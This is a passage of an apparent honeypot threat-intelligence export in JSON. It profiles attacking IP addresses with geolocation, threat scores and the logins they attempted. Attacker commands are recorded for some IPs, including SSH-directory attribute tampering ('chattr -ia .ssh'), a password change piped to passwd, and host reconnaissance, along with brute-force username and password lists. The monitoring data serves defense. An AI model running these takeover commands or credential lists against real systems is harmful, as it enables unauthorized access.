        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:47:29.279000+00:00",
        "last_seen_30d": "2026-03-26T07:56:03.172000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 16
      }
    },
    "118.25.70.105": {
      "attack_count": 79,
      "first_seen": "2026-03-07T23:14:36.151Z",
      "last_seen": "2026-03-07T23:27:57.257Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "ts3",
        "345gs5662d34",
        "sunshine"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\n8tDmIqwIQv6G\\n8tDmIqwIQv6G\\n\"|passwd",
        "echo -e \"123456\\n8tDmIqwIQv6G\\n8tDmIqwIQv6G\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T23:14:36.151000+00:00",
        "last_seen_30d": "2026-03-07T23:29:00.708000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 79,
        "Suricata": 10
      }
    },
    "34.140.230.5": {
      "attack_count": 71,
      "first_seen": "2026-03-11T11:50:28.855Z",
      "last_seen": "2026-03-11T11:51:39.790Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 8288",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T11:50:28.855000+00:00",
        "last_seen_30d": "2026-03-11T11:52:49.443000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "187.45.95.66": {
      "attack_count": 61,
      "first_seen": "2026-03-26T07:11:34.888Z",
      "last_seen": "2026-03-26T07:23:02.913Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "Test",
        "live",
        "developer",
        "mahdi",
        "zy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Live123!",
        "Test123",
        "developer123",
        "mahdi2025",
        "zy1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Riach\u00e3o do Bacamarte",
      "asn": 28135,
      "as_org": "ASSOCIACAO NACIONAL PARA INCLUSAO DIGITAL - ANID",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:11:34.888000+00:00",
        "last_seen_30d": "2026-03-26T07:24:09.169000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 61,
        "Suricata": 21
      }
    },
    "42.224.248.79": {
      "attack_count": 50,
      "first_seen": "2026-03-14T21:10:05.717Z",
      "last_seen": "2026-03-14T21:15:30.135Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T21:10:05.717000+00:00",
        "last_seen_30d": "2026-03-14T21:16:38.983000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.33.144": {
      "attack_count": 50,
      "first_seen": "2026-03-23T09:50:32.657Z",
      "last_seen": "2026-03-23T09:55:56.854Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T09:50:32.657000+00:00",
        "last_seen_30d": "2026-03-23T09:56:57.585000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "60.251.42.216": {
      "attack_count": 48,
      "first_seen": "2026-03-02T00:00:58.637Z",
      "last_seen": "2026-03-02T00:12:39.166Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "12121212",
        "12344",
        "1qazXSW@3edcVFR$",
        "3245gs5662d34",
        "345gs5662d34",
        "Qweasd123!@#",
        "Qwerty@1",
        "test01"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:00:58.637000+00:00",
        "last_seen_30d": "2026-03-02T00:13:48.116000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 18
      }
    },
    "158.51.96.38": {
      "attack_count": 36,
      "first_seen": "2026-03-07T08:56:21.585Z",
      "last_seen": "2026-03-19T18:24:38.604Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu",
        "centos",
        "linux",
        "nginx"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 397270,
      "as_org": "NetInformatik Inc.",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T08:56:21.585000+00:00",
        "last_seen_30d": "2026-03-19T18:25:45.836000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 17
      }
    },
    "104.248.240.44": {
      "attack_count": 35,
      "first_seen": "2026-03-02T14:01:08.618Z",
      "last_seen": "2026-03-02T14:04:33.540Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "gitlab",
        "noreply",
        "root"
      ],
      "passwords_attempted": [
        "gitlab",
        "noreply",
        "rootroot"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.3,
        "persistence": 10.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 12,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T14:00:44.076000+00:00",
        "last_seen_30d": "2026-03-13T05:40:40.566000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 37,
        "Cowrie": 35,
        "Dionaea": 13
      }
    },
    "38.188.160.107": {
      "attack_count": 28,
      "first_seen": "2026-03-10T23:07:55.809Z",
      "last_seen": "2026-03-11T00:00:58.096Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "221283",
        "281285",
        "838383",
        "951951",
        "cdtnkfyf"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:07:55.809000+00:00",
        "last_seen_30d": "2026-03-11T00:02:05.944000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "139.59.193.134": {
      "attack_count": 25,
      "first_seen": "2026-03-17T22:33:37.340Z",
      "last_seen": "2026-03-17T22:34:40.069Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "LeitboGi0ro",
        "admin",
        "root"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T22:33:37.340000+00:00",
        "last_seen_30d": "2026-03-17T22:35:43.029000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 11
      }
    },
    "182.40.104.74": {
      "attack_count": 25,
      "first_seen": "2026-03-04T20:06:24.486Z",
      "last_seen": "2026-03-04T20:06:57.472Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "Huawei@123321",
        "q-LRBR#jnRXS77+",
        "qweasdzxc1314"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 136195,
      "as_org": "Qingdao, Shandong Province, P.R.China.",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T20:06:24.486000+00:00",
        "last_seen_30d": "2026-03-13T07:49:04.307000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 12,
        "Honeytrap": 1
      }
    },
    "152.110.0.60": {
      "attack_count": 21,
      "first_seen": "2026-03-30T15:56:12.249Z",
      "last_seen": "2026-03-30T15:59:24.470Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 20011,
      "as_org": "NTT-DATA-Inc",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T15:56:12.249000+00:00",
        "last_seen_30d": "2026-03-30T16:00:32.460000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 11
      }
    },
    "123.56.117.227": {
      "attack_count": 20,
      "first_seen": "2026-03-07T15:48:03.472Z",
      "last_seen": "2026-03-07T15:48:13.587Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "kjashd123sadhj123d1SS",
        "root@1234"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T15:48:03.472000+00:00",
        "last_seen_30d": "2026-03-07T15:49:19.962000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 9
      }
    },
    "64.62.197.227": {
      "attack_count": 16,
      "first_seen": "2026-03-03T03:47:20.225Z",
      "last_seen": "2026-03-29T02:16:44.308Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 307,
        "days_active_30d": 30,
        "ports_targeted_30d": 69,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-03-02T04:06:35+00:00",
        "last_seen_30d": "2026-03-31T06:38:14.709000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 186,
        "Honeytrap": 61,
        "Cowrie": 16,
        "Redishoneypot": 11,
        "H0neytr4p": 8,
        "Mailoney": 6,
        "Tanner": 6,
        "ConPot": 4,
        "Dionaea": 3,
        "Adbhoney": 2,
        "ElasticPot": 2,
        "Ipphoney": 1,
        "Miniprint": 1
      }
    },
    "154.144.225.226": {
      "attack_count": 15,
      "first_seen": "2026-03-26T19:05:42.328Z",
      "last_seen": "2026-03-26T19:15:01.040Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "pzuser",
        "roman",
        "root"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "roman123!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T19:05:42.328000+00:00",
        "last_seen_30d": "2026-03-26T19:16:07.314000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "38.188.160.228": {
      "attack_count": 15,
      "first_seen": "2026-03-10T23:24:34.778Z",
      "last_seen": "2026-03-11T00:16:52.675Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "010183",
        "270587",
        "eastwood"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:24:34.778000+00:00",
        "last_seen_30d": "2026-03-11T00:18:01.485000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "14.103.127.242": {
      "attack_count": 13,
      "first_seen": "2026-03-12T07:44:31.249Z",
      "last_seen": "2026-03-12T07:47:32.753Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "n8n"
      ],
      "passwords_attempted": [
        "n8n"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.file_download"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T07:44:31.249000+00:00",
        "last_seen_30d": "2026-03-12T07:58:12.555000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 3
      }
    },
    "151.47.27.146": {
      "attack_count": 10,
      "first_seen": "2026-03-06T10:09:06.144Z",
      "last_seen": "2026-03-06T10:22:42.731Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "dspace",
        "nexus"
      ],
      "passwords_attempted": [
        "12345",
        "dspace123!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T10:09:06.144000+00:00",
        "last_seen_30d": "2026-03-06T10:23:50.103000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "34.140.211.249": {
      "attack_count": 10,
      "first_seen": "2026-03-04T16:42:59.316Z",
      "last_seen": "2026-03-04T16:43:06.244Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T16:42:59.316000+00:00",
        "last_seen_30d": "2026-03-04T16:44:10.694000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "147.185.132.52": {
      "attack_count": 8,
      "first_seen": "2026-03-04T04:50:49.915Z",
      "last_seen": "2026-03-25T22:23:47.875Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 29,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T01:38:11+00:00",
        "last_seen_30d": "2026-03-30T19:54:06.543000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 84,
        "Honeytrap": 32,
        "Cowrie": 8,
        "ConPot": 3,
        "Sentrypeer": 1,
        "Tanner": 1
      }
    },
    "20.64.106.222": {
      "attack_count": 7,
      "first_seen": "2026-03-07T20:46:37.608Z",
      "last_seen": "2026-03-07T20:46:47.669Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 61.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.4,
        "persistence": 20.8,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 25,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T00:11:43.753000+00:00",
        "last_seen_30d": "2026-03-26T23:52:57.289000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Cowrie": 7,
        "Honeytrap": 6,
        "Mailoney": 1
      }
    },
    "115.190.216.146": {
      "attack_count": 6,
      "first_seen": "2026-03-11T11:48:38.401Z",
      "last_seen": "2026-03-11T11:48:42.564Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Aa@123456",
        "PtfgBoOrMG"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
